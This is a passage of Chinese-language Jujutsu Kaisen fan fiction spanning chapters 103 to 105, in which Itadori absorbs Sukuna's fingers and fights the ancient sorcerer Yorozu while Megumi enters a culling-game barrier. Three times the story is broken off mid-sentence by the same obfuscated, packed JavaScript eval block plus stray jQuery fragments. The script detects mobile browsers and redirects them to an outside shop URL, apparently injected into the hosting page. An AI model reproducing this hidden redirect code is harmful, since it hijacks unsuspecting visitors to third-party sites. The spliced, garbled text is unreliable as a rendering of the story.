他们准备在这待上两三天,一次性尽可能带走足够多的诅咒。
“明早脖子会痛的吧?”乙骨忧太伸手去揉他的头发,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378242|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尽管语气依旧温柔,但却带着不容置疑的态度:“这两天都得拜托你来找它们了。”
虎杖悠仁妥协了,顺着他的力道爬了起来:“把宿傩的手指给我吧。”
乙骨忧太设下了范围极小的“帐”,从里香那里取出了从高专忌库带走的宿傩手指。
“......”他看着虎杖悠仁开始拆解包裹在手指上的咒符,缓了缓说道:“一次性摄取这么多......身体没问题吗?”
紫红色的死蜡露了出来,虎杖悠仁看着狰狞的手指,下意识有点反胃:“应该没问题的。已经吸收了这么多,一想到这是我们能找到的最后几个......忧太,你转过去吧。”
现在虎杖悠仁能理解为什么夏油杰不喜欢在家人们面前吞服咒灵玉了。
因为是最亲近的人,所以更不希望他们见到自己狼狈的样子。或许对虎杖悠仁来说还有一种微妙的羞耻心在作祟。他开始在意自己在乙骨忧太的眼中究竟是什么样子,也会突然对一些以前从未在意过的事情过分关注。
乙骨忧太背过身。
身后传来了窸窸窣窣的声音,他向前俯身拿到了电视遥控器,打开了电视机。很快,搞笑节目主持人犀利的吐槽声响了起来,放在身边矮桌上的水杯也被人取走。
乙骨忧太能明白虎杖悠仁的做法,如果换做是他,估计也会做出同样的选择。他们其实并不是真的介意被对方看见狼狈的一面,只是不想主动将不堪展露给对方,那样会让他们觉得自己太卑鄙。
他的手里编着黑绳,努力让自己不为虎杖悠仁担心。
直到身后的人将脑袋抵在了他的后背上,放松全身的力量靠着他,乙骨忧太才出声问道:“还好吗?”
虎杖悠仁的呼吸透过衣物让周围的皮肤变得湿热,他的声音蔫哒哒的,显然并不怎么好受:“好难吃......味道太恶心了。”
他话音刚落就看到里香的手从影子里伸了出来,巨大的白色手掌中心躺着几颗小小的金平糖。
虎杖悠仁拿走了糖果塞入嘴中,拍了拍式神的指节:“谢谢你啦!”
“感觉咒力气息没什么变化呢。”
“大概还需要‘消化’一下吧,”虎杖悠仁的声音有些含混不清,坚硬的糖果和牙齿碰撞发出喀拉喀拉的声响,“适应一下应该就可以了。”
乙骨忧太拍了拍自己身旁的坐垫,示意虎杖悠仁坐过来。
后来虎杖悠仁似乎在电视节目传出的笑声中模模糊糊地睡了过去,之后的事情记得不太清楚,也不知道自己怎么就回到了卧房里的床上,等到第二天醒过来的时候第一眼看到的就是已经被拉开的、连通着庭院的纸拉门。
天刚蒙蒙亮,却是雾岛难得一见的蓝。
他的目光越过了更靠近庭院一侧的床榻,上面的痕迹表明了的确曾有人使用过它,只不过现在上面已经空无一人。虎杖悠仁看见了站在庭院中听着电话的乙骨忧太。
黑发少年背对着他,从虎杖悠仁的角度只能看见对方的侧脸与颌角,带着他无比熟悉的弧度被逐渐升起的朝阳照亮。
对了,手机。
虎杖悠仁把自己撑起来,伸手在枕头下、床边、床头柜附近来回摸索,最终在床缝中找到了他的手机。
手机电量还剩了差不多一半,因为他昨天几乎没怎么想起来使用它。解锁后虎杖悠仁翻看了一下信箱,发现除了各种垃圾短信之外没有人联系他,所以他点开了社交软件开始浏览热点新闻。
“死灭回游”这个名字尚未出现在社会众人眼中,但据说有人‘一觉醒来穿着睡衣出现在了结界外’,虎杖悠仁顺着消息继续找了下去,却没有发现其他值得注意的内容。
乙骨忧太正在和伏黑惠通话。
“真依同学还好吗?”
伏黑惠那边似乎人很多,一些嘈杂的背景音从电话中传了出来:“已经拜托西宫前辈带她去找家入小姐了,应该没有大问题。乙骨前辈,你和虎杖在一起吗?”
“嗯。”
伏黑惠一边打电话,一边驱使玉犬解决从噸之间跑出来的咒灵——贯牛的力量太过蛮横,顶飞禅院扇的时候连带着半个噸之间都被破坏了。这里本来是禅院家用来训练与惩罚的地方,关押着众多二级以上的咒灵,作为将它们放出来的“罪魁祸首”,伏黑惠正任劳任怨地逐一将它们祓除。
禅院扇是真希和真依的父亲,伏黑惠他们抵达禅院本家的时候,在噸之间见到的就是这个老人与已经倒地不起的禅院真依。禅院本家的情况比伏黑惠预想中得更加复杂,已经离开京都的前家主禅院直毘人的决定只是“看起来”无人反对罢了。
“禅院直哉不知道跑到哪里去了,”伏黑惠站在几乎被毁得差不多了的庭院里,“昨天他被......打倒之后就跑了,如果你们看到他了的话请务必告诉我。”
“我知道了。”乙骨忧太答应了下来。
电话那头的人声消失了几秒,随后乙骨忧太听见伏黑惠说:“乙骨前辈,我们准备去找‘天使’了。”
言下之意双方都心知肚明。
乙骨忧太回头看了一眼,正好对上了虎杖悠仁的视线。
“我们......都加油吧。”他回答道。
104. 第 104 章
虎杖悠仁推门而出的时候被灌了一脖子冷风。他下意识地缩了缩肩膀,回身准备关门。
“等一下悠仁,”乙骨忧太叫住了他,站在玄关递过了一条围巾,“戴上吧。”
虎杖悠仁抿着嘴,微微翘起嘴角,摊开两只拎得满满当当的手,扬起了下巴。
乙骨忧太默契地上前两步,直接帮他戴上了围巾。
“嘿嘿,”虎杖悠仁笑了出来,心情极好地和他道别,“那我出发了!”
“注意安全。”乙骨忧太挥手看着虎杖悠仁走出了院子。
前几天他们买下自行车的便利店果然已经关门歇业,店门口的玻璃上贴了转让店铺的告示。虎杖悠仁处理掉垃圾之后骑着自行车前往距离住所更远一些的超市购买生活用品和食材。
不知道是不是他的错觉,附近街道的来往行人似乎更少见了。
路上空荡荡的,没有行人也没有汽车,虎杖悠仁难得走神,目光被侧方的结界吸引了过去。今天是晴天,稀薄的云飘得很高,但依旧看不见结界的顶端。
虎杖悠仁和乙骨忧太一致认为如果能够不被卷入死灭回游中是最好的情况。进入游戏就意味着他们必须要遵守羂索定下的规则,虎杖悠仁不想再受制于他。而且,这个游戏......他的视线在结界上游走,凭他的眼力也能看出它与寻常结界的不同。
那上面积蓄着咒力。
看穿这一点,理解死灭回游存在的意义就简单很多了。
羂索曾拥有能够改变非术师大脑结构的【无为转变】,但他并没有直接用真人的术式改造全国的非术师,而是远程发动术式,仅仅更改了某些人的大脑结构。
乙骨忧太觉得这一举动还有什么其他的意义,但虎杖悠仁认为也许只是单纯的咒力不足。用【无为转变】一个个改变非术师的大脑实在是效率低下,为此羂索才选择了一个折中的方案,开启了死灭回游来收集足够多的咒力。
他们从伏黑惠那里听来了天元说的一句话。也许初听不会有任何其他想法,但隐藏在普普通通的宣言下的可能是最容易被漏过的关键信息。
死灭回游是将这个国家的所有人渡去彼岸的仪式。
咒言、掌印、仪式,这些都是能够将咒术的力量进一步提升的“过程”,为了将其发挥到极致,这几步缺一不可。但在战斗中,能够省略这些步骤、更快发动术式的术师才能占据先手,这也让现在的术师们都在追求咒术的减法。
等到羂索通过死灭回游收集到了足够多的咒力,仪式也让同化的对象覆盖到了全国......虎杖悠仁等的时机差不多也就要到了。
他猛地握住了刹车把手,让自己停了下来。
虎杖悠仁屏气凝神,望向了靠近结界的某个方向。他刚才似乎感受到了一个很熟悉的咒力气息,但是因为离得有点远,一时没有想到那个气息究竟属于谁。
路过的咒术师?或者是去结界查看情况的人吧。
飘过的云阻挡了高高挂在天边的太阳,光影交错间带来了失去阳光照射后的寒冷,让人恍然意识到此刻终究已是深秋,再明媚的温暖也只是行走在太阳之下得到的短暂热意。
骤然刮起的风还不至于吹透虎杖悠仁的外衣,他的一只脚搭在自行车的脚踏上,顶着干冷的寒风瞪视着出现在大道上的女人。
“你们都喜欢这样找上门来吗?”虎杖悠仁从自行车上下来,将它推到了一旁。
女人有着一头乌黑亮丽的长发,面容温婉。这里虽然是住宅区,但每栋房子都隔得很远,路上除了他们之外再没有其他人经过。
“你好啊,”她浅笑着,抬起手挥了挥,和虎杖悠仁打招呼,“宿傩的容器。”
这样的称呼已经不再能够激怒他,虎杖悠仁活动起了手腕:“我不知道你是从谁那里听到这种说法的,但是很遗憾,他可不在这里。”
女人捂住了嘴巴,语气遗憾且带着一点歉意:“啊啦,抱歉抱歉,是我说错了。”
只是那双半眯着的眼睛却暴露了她真正的表情。它们弯弯的,甚至有些扭曲。
指缝间露出的嘴角彻底揭开了她拙劣的伪装:“如果我得到了你,是不是就能让宿傩和我结婚了呢?”
“......?”
女人撕开了和婉的表皮,露出了疯狂的内里:“一定能的吧?!如果他答应娶了我,我就把你送给他,我们的婚礼一定是最盛大的,要在树上吊死三个美男子,屠掉三个村子、不,三座城市助兴,婚宴上一定要有我最爱的猴脑汤——!!!”
这家伙......
虎杖悠仁看着疯疯癫癫自说自话的女人,握紧了拳头。
女人似乎终于笑够了,高傲地甩动头发:“我是万。你这长相是怎么回事?”
某种黑色的物质出现在了万的身后,它们看起来异常柔韧,却闪烁着金属般的光泽。
“仔细一看,你长得还真是滑稽又让人恶心。”万刻薄地讥讽道。如果里梅说的是真的,那她眼前的这个粉发少年就是与她签订契约的术师精心为宿傩准备的容器,只不过被他拒绝了而已。
不知道羂索搞了什么鬼,虎杖悠仁的外貌居然与诅咒之王有三四分相似。
万构筑出的液态金属鼓动着,不再刻意收敛的咒力高调地宣布着她的存在,让直面她的虎杖悠仁感受到了其中满溢而出的恶意。
“真让人不爽。”万放下这句话后,身影一闪,消失在了虎杖悠仁的视野中。
速度——
虎杖悠仁瞳孔猛缩,不再执着于追逐万的残影,而是将全部精力集中在防御随时可能到来的攻击上。
高度集中的状态让他本就优秀的反射神经比往常更快地留意到了从视线死角突入的黑色液态金属。
转身、挥拳的动作一气呵成,反击的速度连身经百战的万都惊讶了一瞬。而且......她的金属居然被直接打散了?这是什么出拳的速度和力量?
虎杖悠仁的拳头触及到那些黑色的物质时立刻反应了过来,它们更像是流体一般没有固定的形态,如果用软绵绵的攻击来对付它们的话恐怕会被直接搅断胳膊的吧?
与此同时他也看清了让万的行动如此诡谲的原因。
她的后背生出了双翅,像是昆虫薄膜般的翅膀一样,它们正极快速地振动着,让万能够以难以想象的机动力从虎杖悠仁的视线死角发起进攻。
但是这种翅膀的话......
虎杖悠仁双腿微曲,做出了跳跃前的准备姿势。
然而那些液态金属比他更快分裂重组,拉成了一条条纤细但却危险至极的细线,组成了一张大网笼罩住了他的头顶。
“你会飞对吧?”万笑道。
她背后的虫翅可没办法带着她长时间离地飞行,短暂的浮空也是依赖于咒力和这个容器本身纤瘦的身材。
“这样就抓到你了~”
漆黑的网将投射到虎杖悠仁脸上的阳光切割成数块,只要他敢起跳,结局就是被这张网切成碎屑。
这个女人果然是被里梅鼓动着来找他的!
听她的说法,似乎也是和宿傩同时代的术师,这些液态金属是她的术式?虎杖悠仁谨慎地观察着。战斗发生得太过突然,他没来得及设下“帐”,而万似乎也没这个意思,看她张扬的模样像是本身就不太在乎是否会被发现。
这样也好。
不过,就算她从里梅那里得到了关于他术式的信息,也不会真正完全明晰术式顺转和反转真正的能力。
“先把你的手脚卸掉......”万的半自律液态金属是提前构筑完成的,数量惊人,如果只凭肉眼可见的体积来推测它们的真实数量,那就会掉入万的陷阱。
相互交叠的“线”表面变得不安分了起来,眨眼间就有无数尖刺酝酿着,只要弹射出来就能将被困在笼中的猎物完全贯穿,彻底失去行动能力。
虎杖悠仁垂头盯着地面,他干脆利落地抬脚又简简单单地踏了下去,动作轻松到连万的大脑都空白了一瞬,想不明白他想要干什么。
然而下一刻她就切身体会到了虎杖悠仁怪物一般的肉|体力量。
粉发少年一脚踏裂了地面,以他为中心直到这条大道的两侧尽头范围内的路面便完全变形塌陷。万只觉得脚下传来了无法抵抗的冲击,瞬间失去了平衡,整个人和连根顶起的大树一起被推向了半空。
仅仅是这一刹那的破绽,由她操纵的液态金属排列松散了一下,而虎杖悠仁抓住了这个机会。
他没有贸然在网仍笼罩着自己头顶的时候使用术式创造重压区,这东西是由万操纵的,大概率在重力异常的情况下也能勉强维持形态。
唯有捉住万对它们的操控出现破绽的时候。
虎杖悠仁直接起跳,破网而出。正如他所料,在那一瞬间本应凝聚在一起、锋利如铁器的液态金属们变得松散异常,虎杖悠仁用咒力保护住了最重要的地方,直接顶着它们冲了出来。
万刚刚在半空中找到平衡,余光就看到从笼子里逃脱的虎杖悠仁已经来到自己的身侧。
哪怕身在空中,虎杖悠仁也能拧身挥出重拳。
只是这一击的手感不太对,指骨传回的感觉更像是打在了什么坚硬的盾牌上一般,没有实际的打击感。
万被击落,重重地砸进了本就满是裂痕的地面,将方才虎杖悠仁踏裂地面扬起的尘幕搅得更浑浊了一些。
虎杖悠仁没有选择乘胜追击,而是遥遥待在了半空,等待着万主动现身。
地面上的万摸到了边缘光滑的碎片,那是由液态金属压缩而成的盾牌,恰到好处地避免了虎杖悠仁的这一拳给她带来实际性的伤害。万摸着碎片的边缘,那可不是因为无法承受进攻的力道而碎裂所产生的痕迹,摸起来更像是被什么东西平整地切开了一样。
“果然,和里梅说得一样啊。”她嘴角翘得极高,发尾因为战斗和雀跃的咒力四散炸开。
透过逐渐沉淀的烟尘,虎杖悠仁模模糊糊地看见了万的身影。
只不过看起来她的身上出现了某种变化,好像影子变得更大了一些。
他视线焦点的那道黑影一闪,地面只留下了灰尘像是涟漪一样散开的痕迹,虎杖悠仁突然觉得有一股巨力压着他不断下坠,绷紧的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378243|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肌肉在触及地面的那一瞬间剧烈地震颤着。
他的双手死死攥着眼前这个怪物的双臂,千钧一发之刻拼命将头摆向一侧,险之又险地躲过了直奔头颅而来的啃咬。昆虫一样锋利的口器几乎贴着他的耳边咬合,被蹭到的耳廓带起了一道血线。
万的这一次突袭的确让虎杖悠仁后背冷汗直流。
她已经完全变了一副模样,看上去像是一只人形昆虫一般,肢体结构发生了变化,连眼睛的部位都变成了昆虫的复眼,背后翅膀加速着挥动,继续将他向地面压去。
女人的声音因为隔着一层物质而变得有些失真,不过依旧难掩其中的疯狂:“什么嘛!你的斩击也太丢人了吧?!哈哈哈哈!来啊!砍我啊!!”
虎杖悠仁皱眉。
为了挡住万的冲击他只能握住对方的双臂,只是这样的话【反重力机构】不论顺转还是反转都会对她无效——能够免除术式效果的只有虎杖悠仁本人以及被他触碰到的存在。
他满足了万的要求,【御厨子】从双掌贴合的地方近距离发动了。
万感受着手臂上传来的疼痛。熟悉又陌生的疼痛。
覆盖在她身体上的是“虫之铠”,是她根据昆虫的生理结构构造出的她认为最完美的姿态,不论是力量还是能量利用效率都极其优秀,完美地缓解了她的【构筑术式】在咒力利用效率上十分低下的缺点。
它的防御力也毋庸置疑,能够破开这身铠甲的都是当年凤毛麟角的存在。
这个容器的斩击与宿傩的斩击不同,不带着足以毁灭一切的霸道,而是隐秘、锋利却稚嫩的。
软弱到让万兴致缺缺。
只是她通过面铠看到的眼神却并非如此。
虎杖悠仁铆足力气,居然凭着一个头槌将她顶开了。
如果说在穿上“虫之铠”前她尚且能凭借着背后的虫翅浮空悬停,那么带上这身货真价实的铠甲之后,背后的翅膀就只能供她通过左右频率不同的振翅来完成各种机动动作,再也没办法带着她脱离大地的桎梏。
虎杖悠仁松开了手。万双臂上附着的铠甲应声碎裂,露出了原本的手臂,面部铠甲也在头槌的力道下产生了道道裂纹,冲击令万感受到了一阵眩晕。没等她喘过气来,从天而降的重压将她彻底地压入了地面,面甲上的纹路不断扩大着,已经有微小的碎片不堪重负,从她的铠甲上崩飞了出去。
半自律的液态金属向虎杖悠仁发动了进攻,但是无一例外,全部都止步于粉发少年周身三米的极限范围附近。
这就是......里梅说的能够操纵重力的术式——
万听到了铠甲裂痕扩大的声音,清脆而刺耳。
面甲彻底裂开的瞬间,她抬眼望见了伸出手掌辅助定位、瞄准了她的虎杖悠仁。
琥珀色的瞳仁居高临下,带着冰冷的决意注视着此刻被重压死死压制着的古代术师。
时间仿佛在此刻被拉得极长,他们都在等待着。虎杖悠仁没办法同时使用两种术式,【御厨子】在手中蓄势待发,而万也同样等待着超级重压消失的那一刹那。
决定胜负的一刻逐渐靠近,将两颗同样疯狂跳动着的心脏推向命运的边缘。
待在房间中赶制黑绳的乙骨忧太从里香手中接过新的封印物,随着咒符逐渐拉开,被他们封印在器具上的诅咒开始四散奔逃。不过有提前设好的“帐”在,它们没办法离开这个房间。
乙骨忧太抓住了正在用他听不懂的话嘶叫着的诅咒,手上的动作突然停了下来。
“忧太、忧太?”白色的式神看着一动不动、似乎在感知着什么的黑发少年。
乙骨忧太的手上用了点力气,诅咒挣扎的力道变小了许多。他将其塞回了封印物中,站起了身。
里香将诅咒塞回空间内,把刀递给了乙骨忧太。
“我们走,里香。”
“好哇,”高大的式神随着乙骨忧太心绪的波动而变得不安定了起来,身躯膨胀着,在离开屋子之后便完全显现了出来,“我们去找悠仁!”
——
伏黑惠一直觉得有点心慌。
他站在东京第1结界外,扫视着周围,细数这几天做出的决断,寻找着有没有被他漏过的重要信息。
钉崎野蔷薇的家乡在结界内,她为了确保祖母的安全准备进入那个结界。进去之后就会被自动认定为参加死灭回游的泳者,无法联络外界,也暂时没有脱离游戏的手段。不过好在他们还能用分数换取新的规则,增加“脱离死灭回游”、“自由出入结界”等等规则的行动要和寻找天使同时进行。
七海建人和熊猫、狗卷棘已经出发去栃木县的某个地下停车场找三年级的秤金次和星绮罗罗,狱门疆在乙骨忧太手上,通讯联络有机械丸,等他们能自由出入结界以后还有西宫桃在。
似乎已经没什么被他漏掉的事了。
不知去向的禅院直哉。
不知道为什么,伏黑惠突然想要给津美纪打个电话。她现在应该在家中复习功课,或者和同学在自习室学习。
“......”
电话始终无人接听。
105. 第 105 章
加茂宪纪绷紧了神经。
不速之客大摇大摆地进入了加茂本家,如入无人之境。看着加茂宪纪长大的老管家却将他拦在了门外,说着他听不懂的话。
“哈哈,别太苛责一个老人,”男人额头上的缝合线引人注目,“他的记忆大概游荡在150年前,进入一个不合适的容器里偶尔就是会出现这样的情况,别太在意。”
羂索侧目,盯着被许诺了家主之位的加茂宪纪:“你还算是比较聪明,不过我劝你到此为止吧。总监部对我来说已经没什么作用了,原本安插进去的人都被这家伙杀了个干净,再加上那个有点叛逆的孩子......”
他有些无奈地笑着挥了挥手。
加茂宪纪察觉到了总监部的高层里有“叛徒”,他本想回来借助家族的力量,只是没想到率先被彻底蛀空的居然是加茂家。
“自己离开吧,”羂索忽然失去了聊天的兴致,“还是说需要我请你消失?”
加茂宪纪扔下了尚未拥有过的家主之位,离开了沦为魔窟的加茂本家。
带他回来的西宫桃诧异地问:“情况怎么样?”
“御三家......五条家失去了五条悟,禅院家也已经被毁得差不多了,如今就连加茂也——”
加茂宪纪的话说明了一切。西宫桃反倒觉得这也许是个好兆头。
这些庞然大物已经臃肿到无法看清自己,不光是这些古老的咒术世家,甚至是整个咒术界都一样。
“那我们现在赶快和日下部老师他们汇合吧,”西宫桃说道,“大家一起行动的话能省下不少力气呢。”
“不,等等西宫,”加茂宪纪有其他的想法,“东京的结界都有人去了吗?”
“伏黑同学去了第1结界,第2结界似乎会等东京校的狗卷他们找到三年级的人之后再去。加茂同学,你想再往远处走吗?”
加茂宪纪思索了一番,最终做出了决定。
东京第1结界外,伏黑惠再一次拨通了津美纪的电话。
小号机械丸里传来了电流的杂音,三轮霞有些失真的说话声慢慢放大,似乎她从远处接近了通话设备:“他往南边去了,机械丸说最后看到他似乎是在长崎......再往南就超过了机械丸的术式范围,抱歉,伏黑同学。”
三轮霞停了下来,好像在听什么人讲话,过了一会儿语气轻快了一点:“不过机械丸说他是一个人走的,没有看到挟持人质的情况。但是长崎那边......那附近就只有鹿儿岛的樱岛结界了,禅院家在那边倒还是有家族驻地......”
“多谢。”
伏黑甚尔打了个哈欠。早知道那个家伙这么能活,当时他就该再补上一刀。
“所以咱们现在要调头往南走?不过说实在的,我觉得这玩意对我没用。”他指了指漆黑的结界。在结界术的范畴中,伏黑甚尔这样极致的天与咒缚会被判定与建筑物无异,来去自如。
伏黑惠最后一次拨打了电话。他没办法放任伏黑甚尔独自行动,如果津美纪还不接电话——
“——抱歉小惠,我才接到你的电话,”少女熟悉的声音从听筒里传了过来,她身旁似乎还有什么吵闹的声音,“那孩子趁我开门的时候跑出去了,为了把它抓回来稍微费了些力气。怎么了?突然给我打这么多电话。”
伏黑惠骤然松了一口气:“不,没什么事......我这边的信号会中断一段时间,所以未来几天你可能联系不到我。只是让你别担心而已。”
“惠,你没有在做危险的事吧?”
“没有,”伏黑惠用眼神示意想要说话的伏黑甚尔闭上嘴巴,“就这样吧。如果有谁用我的名字叫你去什么地方,除了五条老师之外的人都不要相信。”
他在听到津美纪答应了之后便兀自挂断了电话。
“你居然还瞒着她吗?”伏黑甚尔终于出声,有点好笑地看着伏黑惠说道:“她妈妈是个聪明人,你觉得自己能瞒得很好吗?”
伏黑津美纪将手机放回了桌面上。刚刚上演了一出“越狱”好戏的黑白小猫正端坐在她的脚边舔着爪子,丝毫不觉得外面正发生着什么足以改变世界的大事。
伸到窗外的树枝上光秃秃的,叶片早已掉了个干净,将盛夏时藏在绿叶间的鸟窝完全暴露了出来。枯枝伴随着毛茸茸的鸟落下又飞走的动作上下摇晃着。
看起来与过去的所有日子一模一样。
“我们走吧。”伏黑惠收起手机,抬脚迈入漆黑的结界。
伏黑甚尔不置可否,看着他的衣角消失在自己眼前,也跟着走了进去。
“......哈?”
进入结界后,伏黑甚尔的身边空无一人。
——
附加着极不稳定的炙热咒力的斩击切碎了万身上的铠甲,爆燃产生的冲击将她轰飞了出去,狼狈落地。
覆在身上的虫之铠片片剥落,万抬手蹭去了嘴角淌出的鲜血。
虎杖悠仁也不好受。专注于【御厨子】的施用,他完全放弃了躲避那些在重压消失的刹那飞刺而来的液态金属,哪怕身上有勉强用咒力构筑起来的防御,在万的进攻下也如薄纸般一戳就破。
四肢和身体被看起来像是从地面生出的棘刺贯穿,好在伤到的都是不怎么重要的地方。他咬紧牙关用力,想要将那些凝固住的坚硬金属折断。
鲜血从被贯穿的洞口处涌出,随着施加在其上的蛮力越来越大,伤口被虎杖悠仁自己扯得严重撕裂。
仗着自己会使用反转术式,粉发少年的战斗风格也开始变得偏激了起来。
“哈哈!”万觉得这一次还是自己赚了。尽管虫之铠被毁,但半自律的液态金属彻底将虎杖悠仁钉死在了原地,动弹不得。
可恶......虎杖悠仁望向纹丝不动的铁刺。视线聚焦,刺穿左臂的黑色金属被瞬间切成碎块,他终于夺回了一只手臂的使用权。他的【御厨子】的缺陷在此刻体现得淋漓尽致,当他将目光挪向右手时,万已经站了起来。
“就算我刚才失手,也有你绝对躲不开的东西,”她向前走了两步,在指尖构筑出了一个旋转着的锥体,“不过这样就结束了。”
万指尖的漆黑螺旋像极了里梅的冰锥,这是她压榨咒力重新构筑的凶器。她已经将所有提前构筑出的液态金属用于固定住虎杖悠仁,那些尖刺还在不停地生长,哪怕贯穿肉|体,留在体内的部分也不断长出分支,像是根系一样深深扎进了血肉。
挣扎得越厉害,它们扎得越深,将身体的血肉搅得一塌糊涂。
双臂已经解放,虎杖悠仁在尖锥疾驰至眼前的瞬间徒手攥住了它。
有金属从更靠近胸膛的地方透体而出,沾着血滴的尖端顶住了虎杖悠仁的下巴,将皮肤压得向里凹陷,让他不得不抬起头。疼痛在肾上腺素的作用下已经成为最微不足道的感受,鼻尖触及到的凉意让他寒毛倒竖。
术式的间隔时间......
身体比大脑更快地做出了反应。虎杖悠仁完全放弃了思考自己的行动究竟会有哪些利弊,又或者自己是否做出了代价与收获并不平衡的选择,此时此刻他完全将自己交给了战斗本能。
松手的瞬间他侧开头,致命的尖锥蹭着脸颊呼啸而过,哪怕经过阻挡减缓了前进的冲击力,它的威胁性依旧极为可怖。与此同时擦着下颌骨的黑色铁刺也猛地突起,如果不是他本能地选择了这样的躲避方式,这根液态金属构成的尖刺会直接贯穿他的大脑。
颊侧被蹭到的地方传回了火辣辣的触感,冷风拂过的瞬间竟让虎杖悠仁感觉到了惊人的灼烫。
有粘稠的液体淌过了脸颊。
他现在比万更狼狈,没来得及及时摆脱液态金属构成的牢笼让他现在像是被串在竹签上的生肉一样,而且再这样下去......肯定会有要命的地方被打中!
但是他也已经发现了万的破绽。她的术式是咒力利用效率极低的类型,让这些液态金属变成这样坚硬的铁刺肯定耗费了她不少精力,而且从零构筑出的东西数量极为有限。要是里梅面对着被禁锢在原地的自己,冲着大脑和心脏而来的冰锥绝对不止一个。
虎杖悠仁抓住了差点刺穿他脑袋的那根铁刺。
他的【御厨子】在咒力操作上其实很粗糙,再加上为其附着上不稳定的咒力后的使用方式更加大开大合,他很少有需要精细地切断什么东西的时候。但是现在他必须突破自己的极限。
万操纵着错失目标的尖锥转向,锐利的尖端艰难地转了一个圈,对准了虎杖悠仁的后脑。这个方向的话,除非你长出第二双手,不然就等死吧!!
在诅咒之王手中,斩击有两种存在形式。通常使用的“解”,以及根据对手的咒力量与强度而调整力道、贴身发出力求一击毙命的“捌”。
虎杖悠仁不需要“捌”一击制敌的致命性,通过手掌的接触解析着万的液态金属,咒术以他尚且无法完全说明的方式生效、在主人孤注一掷的期许下向虎杖悠仁期待的模样发出了斩击。
——!!
比瞄准后脑的尖锥更快弹射而出的是虎杖悠仁。
万不明白粉发少年为何能够脱离她为他构筑的牢笼,在被砸断脊柱的瞬间被迫开启了“重启”,可即便如此她还是在巨大的冲击下接连撞穿了两三栋民居才勉强停了下来。
她试图呼唤那些液态金属,从它们存在的形态里明白了虎杖悠仁的所作所为。
受肉的术师只有一次完全清除致命伤、以崭新的姿态再临战场的机会。那就是受肉|体的“重启”,舍弃容器的外貌,将躯体和力量彻底变成本体的模样。
“哼,”万皱起蚕豆般的圆粗眉毛,啐道,“真是个疯子。”
虎杖悠仁完全将扎在体内的坚固金属切成了齑粉,大部分碎末随着血液的流淌排出了体外,留在身体里的那些也暂时不会影响他的生命安全与行动能力。
这怎么可能做得到?!将物体切成粉末需要多么密集的斩击,万心里一清二楚。她只在极远处见到过那个神技。
宿傩在他们初见时留下斩击的位置又开始隐隐作痛,但万将之当成了心脏兴奋跳动的余音。她狂热地大笑了起来,在被卷入战斗的无辜居民的尖叫声中打破了建筑,重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378244|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新回到大道上。
“真是的!!这可是我要留给宿傩的礼物啊!!”
万双手结印,鲜血从鼻腔中涌出,不过面上残留的笑意却愈发张狂。原本她没想动用这招,但这个容器蹦哒得太顽强了。
好在死了也无所谓,留下尸体就行。
浑圆的漆黑球体出现在了她的身侧。
在那颗巨大的圆球出现时,虎杖悠仁立刻发动了【御厨子】,然而他却没办法锁定目标,仿佛那里存在着的东西并非实体,而是一种虚无的幻影。
“这是完全球体,”万直起身体,身前的衣物被她自己的血染红,透支咒力的痛楚无法阻挡她的喋喋不休,“这东西不存在接地面积,所以可以拥有近乎无限的压力。”
虎杖悠仁依言望向球体的下端,发现它果然悬浮在半空中,缓缓移动时能够看到地面被无形的压力挤压后留下的沟壑。
他微微分开双腿,意识到那个黑球不是没有实体,而是他的【御厨子】根本无法对其造成伤害!
一旦被碰到就必死无疑,虎杖悠仁深吸了一口气,踏地向后退开的刹那被拉入了一片纯白的空间之中。
他就知道!!
万操控那根尖锥时的表现让虎杖悠仁明白她的极限所在,想要操纵体积如此惊人的完全球体追逐发起进攻的对象根本是痴人说梦。但是有一种方法能够让她的进攻一定能够击中自己的目标。
“——领域展开!!”
领域内的攻击被赋予了必中效果,像完全球体这样本身就具有等同于必杀效果的进攻,哪怕虎杖悠仁用展延的技法中和术式效果也无济于事。
他双手交握,比出了一个掌印。
没有什么学习或者领悟的过程,这个掌印的姿态自然而然地在那一刻出现在了他的脑海中,仿佛与刻在大脑里的术式一样化为了本能,在通晓意义的瞬间就遗忘了不解其意之时的自己是如何看待这个世界的。
每次与古代术师的战斗都只有突破极限才能勉强找到一丝生机。
万发动了术式。
“真球”开始移动,虎杖悠仁的周身也爆发出了前所未有的咒力浪潮。他压榨着体内的每一丝咒力,让它们全然涌入刻在大脑中的术式,令其第一次以完全的姿态施放出来。
这是妈妈留给他的礼物。
真正的妈妈。
虎杖香织留下的东西很少。他自己是一个,脑袋里的术式是一个,剩下的就是他熟悉的味道。尽管......只是一副皮囊。
她是个什么样的人?是个美人吗?有着怎样的过去、又有着怎样的理想?
